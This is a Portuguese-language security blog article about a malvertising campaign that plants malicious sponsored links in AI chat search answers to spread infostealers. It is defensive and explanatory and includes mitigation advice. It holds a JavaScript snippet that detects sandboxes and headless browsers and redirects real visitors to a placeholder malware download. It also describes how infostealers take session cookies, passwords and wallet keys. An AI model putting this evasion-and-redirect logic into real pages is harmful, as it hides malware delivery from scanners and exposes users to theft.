Nova campanha de malvertising distribui malware em anúncios de IA
Analisamos a nova campanha de malvertising que infiltra malware através de anúncios de busca baseados em IA. Proteja os seus cookies de sessão.
O cenário das ameaças virtuais evolui no mesmo ritmo das novas tecnologias. Nas últimas semanas, analistas de cibersegurança detectaram uma campanha altamente sofisticada de malvertising direcionada a anúncios de IA. Os criminosos estão explorando os links patrocinados em motores de busca conversacionais (como Bing Chat, Gemini e novos assistentes inteligentes) para distribuir vírus do tipo infostealer a usuários desavisados.
Este ataque representa uma mudança de paradigma em engenharia social. Isso ocorre porque as pessoas tendem a confiar muito mais em respostas formuladas em linguagem natural por assistentes de IA do que em páginas de resultados tradicionais (SERPs) repletas de links óbvios. A seguir, detalhamos o funcionamento técnico desta nova campanha, o perigo que ela representa para redes corporativas e como se defender.
Como opera esta nova campanha de malvertising?
O conceito de malvertising não é novo. No entanto, sua aplicação dentro de plataformas baseadas em inteligência artificial explota os sistemas de lances publicitários em tempo real (RTB) de anúncios de busca. Quando um usuário pede recomendações ao chat de IA (por exemplo, "onde baixar cliente SSH seguro" ou "melhor editor de PDF gratuito"), a IA elabora um resumo em texto e insere referências patrocinadas nativamente no diálogo.
O processo de infecção foi projetado para burlar filtros automáticos de segurança das redes de anúncios:
- Criação de anúncios falsos: Hackers adquirem anúncios para palavras-chave disputadas usando contas legítimas que foram previamente sequestradas.
- Exibição do anúncio integrado: O assistente de IA anexa o link malicioso na resposta conversacional, fazendo-o parecer uma recomendação legítima e segura do próprio modelo de linguagem.
- Redirecionamento condicional: Se o acesso vier de um crawler ou sandbox de análise automatizada, o servidor exibe uma página web segura. Caso o visitante seja um usuário real, ele é redirecionado para uma réplica idêntica do site original do software solicitado.
- Infecção silenciosa (Drive-by): Ao acessar o link clonado, o usuário baixa um arquivo instalador malicioso que inicia a execução em segundo plano através de um download forçado ou drive-by download.
Anatomia do redirecionamento e evasão de Sandbox
Para evitar a análise estática e dinâmica de firewalls, os atacantes inserem técnicas de evasão do lado do cliente. O exemplo em código JavaScript abaixo mostra como o servidor de redirecionamento analisa propriedades do navegador da vítima para identificar se está em um laboratório de segurança:
// Simulação de detecção de ambiente sandbox pelo navegador da vítima
function verificarAmbienteAnalise() {
const indicadores = [
/headless/i.test(navigator.userAgent),
navigator.webdriver,
window.outerWidth === 0 && window.outerHeight === 0,
navigator.languages.length === 0
];
return indicadores.some(condicao => condicao === true);
}
function processarAcesso() {
if (verificarAmbienteAnalise()) {
// Redireciona para um site neutro para enganar o scanner de malware
window.location.href = "https://pt.wikipedia.org";
} else {
// Executa o redirecionamento de malvertising para a página clonada com o payload
window.location.href = "https://downloads-seguros-atualizado.net/download/installer.exe";
}
}
Essa lógica impede que sistemas de verificação de anúncios marquem a URL como prejudicial, permitindo que a campanha fraudulenta continue ativa por dias antes de ser detectada manualmente.
Busca tradicional vs Busca conversacional baseada em IA
O modo como buscamos informações na internet está mudando, trazendo novos riscos associados. A tabela abaixo resume as diferenças de exposição ao risco de fraudes publicitárias:
| Característica | Motores de busca tradicionais (SERP) | Motores de busca conversacionais com IA |
|---|---|---|
| Apresentação do Anúncio | Rótulo claro de "Patrocinado" em áreas separadas. | Links de anúncios mesclados nas frases geradas pela IA. |
| Grau de Confiança | Médio-Baixo (a maioria dos usuários pula os anúncios). | Alto (o usuário assume que a IA verificou o link). |
| Processo de Redirecionamento | Direto para a URL do anunciante. | Redirecionamento dinâmico baseado em cookies e comportamento. |
| Payload do Malware | Adwares tradicionais ou falsos otimizadores. | Infostealers modernos (Lumma, Redline) focados em dados de sessão. |
Sequestro de cookies de sessão: O perigo invisível
O objetivo dessa campanha não é destruir o sistema, mas obter acesso persistente à identidade digital do usuário. Os infostealers distribuídos buscam os arquivos de banco de dados SQLite locais dos navegadores baseados em Chromium para extrair dados valiosos:
- Cookies de sessão ativos: Ignorando sistemas de autenticação de dois fatores (MFA).
- Senhas armazenadas: Credenciais em texto plano salvas no gerenciador do navegador.
- Chaves de carteiras digitais: Credenciais de extensões web e dados financeiros.
Esse tipo de ataque é extremamente destrutivo em computadores corporativos. Para verificar a robustez dos cookies do seu navegador e garantir que as diretivas de segurança contra vazamentos de dados estão corretas, você pode usar nosso Analisador de cookies. Se quiser aprender mais sobre como funcionam estas diretivas, leia nosso guia sobre análise de segurança de cookies.
Estratégias de mitigação corporativa
Para impedir infecções em larga escala decorrentes de malvertising em redes empresariais, é crucial implementar as seguintes políticas:
- Políticas de Restrição de Software (AppLocker): Impedir que arquivos executáveis não assinados rodem a partir de diretórios temporários (
AppData\Local\Temp). - Uso de DNS protetivos: Configurar firewalls para bloquear a resolução de nomes de domínios recém-registrados (com menos de 30 dias).
- Bloqueio de anúncios a nível de rede: Implementar AdBlockers corporativos impede que os assistentes de IA exibam sugestões patrocinadas aos usuários durante as sessões de chat.
- Treinamentos de conscientização: Orientar os colaboradores a nunca confiarem em links fornecidos por robôs de chat sem conferir a autenticidade do site na barra de endereços. Entenda mais técnicas de proteção em nosso artigo sobre como detectar e evitar malvertising.
Conclusão
O uso de anúncios de IA para espalhar vírus via malvertising ilustra que os cibercriminosos acompanham de perto as inovações tecnológicas para encontrar novas brechas. A confiança irrestrita em assistentes inteligentes é a nova porta de entrada para invasões.
Sempre que pesquisar softwares ou ferramentas via IA, ignore os links sugeridos no chat e acesse manualmente o domínio oficial do desenvolvedor. Monitorar vazamentos de dados e realizar auditorias contínuas de segurança nos navegadores dos computadores da empresa são atitudes essenciais para manter a integridade da rede.
Fontes e leituras recomendadas:
- W3C Web Security Standards — Especificações formais sobre segurança de navegadores e atributos de cookies.
- Wikipedia: Malvertising — Conceito e evolução dos ataques de publicidade maliciosa.
- Blog TecnoCrypter: Ataques de Drive-by Download e como proteger sites maliciosos.
- Blog TecnoCrypter: Análise de segurança em cookies e cabeçalhos HttpOnly.
